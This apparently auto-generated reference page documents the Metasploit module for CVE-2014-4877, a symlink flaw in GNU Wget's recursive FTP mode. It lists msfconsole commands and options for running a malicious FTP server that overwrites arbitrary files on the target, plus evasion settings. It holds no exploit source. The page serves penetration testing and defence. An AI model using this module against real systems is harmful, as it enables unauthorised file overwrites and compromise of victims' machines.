GNU Wget FTP Symlink Arbitrary Filesystem Access - Metasploit

This page contains detailed information about how to use the auxiliary/server/wget_symlink_file_write metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: GNU Wget FTP Symlink Arbitrary Filesystem Access
Module: auxiliary/server/wget_symlink_file_write
Source code: modules/auxiliary/server/wget_symlink_file_write.rb
Disclosure date: 2014-10-27
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-4877

This module exploits a vulnerability in Wget when used in recursive (-r) mode with a FTP server as a destination. A symlink is used to allow arbitrary writes to the target's filesystem. To specify content for the file, use the "file:/path" syntax for the TARGET_DATA option. Tested successfully with wget 1.14. Versions prior to 1.16 are presumed vulnerable.

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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msf > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > show targets
    ... a list of targets ...
msf auxiliary(wget_symlink_file_write) > set TARGET target-id
msf auxiliary(wget_symlink_file_write) > show options
    ... show and set options ...
msf auxiliary(wget_symlink_file_write) > exploit

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Msfconsole Usage

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Here is how the server/wget_symlink_file_write auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/wget_symlink_file_write

msf6 auxiliary(server/wget_symlink_file_write) > show info

       Name: GNU Wget FTP Symlink Arbitrary Filesystem Access
     Module: auxiliary/server/wget_symlink_file_write
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-10-27

Provided by:
  hdm <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Service  Run malicious FTP server

Check supported:
  No

Basic options:
  Name         Current Setting        Required  Description
  ----         ---------------        --------  -----------
  PASVPORT     0                      no        The local PASV data port to listen on (0 is random)
  SRVHOST      0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT      2121                   yes       The port for the malicious FTP server to listen on
  SSL          false                  no        Negotiate SSL for incoming connections
  SSLCert                             no        Path to a custom SSL certificate (default is randomly generated)
  TARGET_DATA  Hello from Metasploit  yes       The data to write to the target file
  TARGET_FILE  /tmp/pwned             yes       The target file to overwrite

Description:
  This module exploits a vulnerability in Wget when used in recursive 
  (-r) mode with a FTP server as a destination. A symlink is used to 
  allow arbitrary writes to the target's filesystem. To specify 
  content for the file, use the "file:/path" syntax for the 
  TARGET_DATA option. Tested successfully with wget 1.14. Versions 
  prior to 1.16 are presumed vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-4877
  https://bugzilla.redhat.com/show_bug.cgi?id=1139181
  https://blog.rapid7.com/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access

Module Options

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This is a complete list of options available in the server/wget_symlink_file_write auxiliary module:

msf6 auxiliary(server/wget_symlink_file_write) > show options

Module options (auxiliary/server/wget_symlink_file_write):

   Name         Current Setting        Required  Description
   ----         ---------------        --------  -----------
   PASVPORT     0                      no        The local PASV data port to listen on (0 is random)
   SRVHOST      0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      2121                   yes       The port for the malicious FTP server to listen on
   SSL          false                  no        Negotiate SSL for incoming connections
   SSLCert                             no        Path to a custom SSL certificate (default is randomly generated)
   TARGET_DATA  Hello from Metasploit  yes       The data to write to the target file
   TARGET_FILE  /tmp/pwned             yes       The target file to overwrite

Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run malicious FTP server

Advanced Options

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Here is a complete list of advanced options supported by the server/wget_symlink_file_write auxiliary module:

msf6 auxiliary(server/wget_symlink_file_write) > show advanced

Module advanced options (auxiliary/server/wget_symlink_file_write):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

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This is a list of all auxiliary actions that the server/wget_symlink_file_write module can do:

msf6 auxiliary(server/wget_symlink_file_write) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Service  Run malicious FTP server

Evasion Options

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Here is the full list of possible evasion options supported by the server/wget_symlink_file_write auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/wget_symlink_file_write) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Related Pull Requests

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• #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
• #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #4373 Merged Pull Request: fix invalid URI scheme
• #4088 Merged Pull Request: Add module for CVE-2014-4877 (Wget)

References

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• CVE-2014-4877
• https://bugzilla.redhat.com/show_bug.cgi?id=1139181
• https://blog.rapid7.com/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access

See Also

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Check also the following modules related to this module:

• post/linux/busybox/wget_exec
• auxiliary/dos/windows/smb/ms09_001_write
• auxiliary/dos/windows/tftp/pt360_write
• exploit/linux/http/lucee_admin_imgprocess_file_write
• exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
• exploit/multi/fileformat/archive_tar_arb_file_write
• exploit/windows/browser/chilkat_crypt_writefile
• exploit/windows/browser/hp_loadrunner_writefilebinary
• exploit/windows/browser/hp_loadrunner_writefilestring
• exploit/windows/browser/mozilla_interleaved_write
• exploit/windows/ftp/quickshare_traversal_write
• exploit/windows/http/manageengine_connectionid_write
• exploit/windows/http/oracle_btm_writetofile
• exploit/windows/local/mqac_write
• exploit/windows/misc/solidworks_workgroup_pdmwservice_file_write
• auxiliary/scanner/http/rewrite_proxy_bypass
• exploit/multi/browser/opera_configoverwrite
• exploit/windows/fileformat/foxit_reader_filewrite
• exploit/windows/http/apache_mod_rewrite_ldap
• exploit/windows/mssql/ms09_004_sp_replwritetovarbin
• exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli
• auxiliary/admin/smb/samba_symlink_traversal
• exploit/windows/local/ms13_097_ie_registry_symlink

Authors

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• hdm

Version

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This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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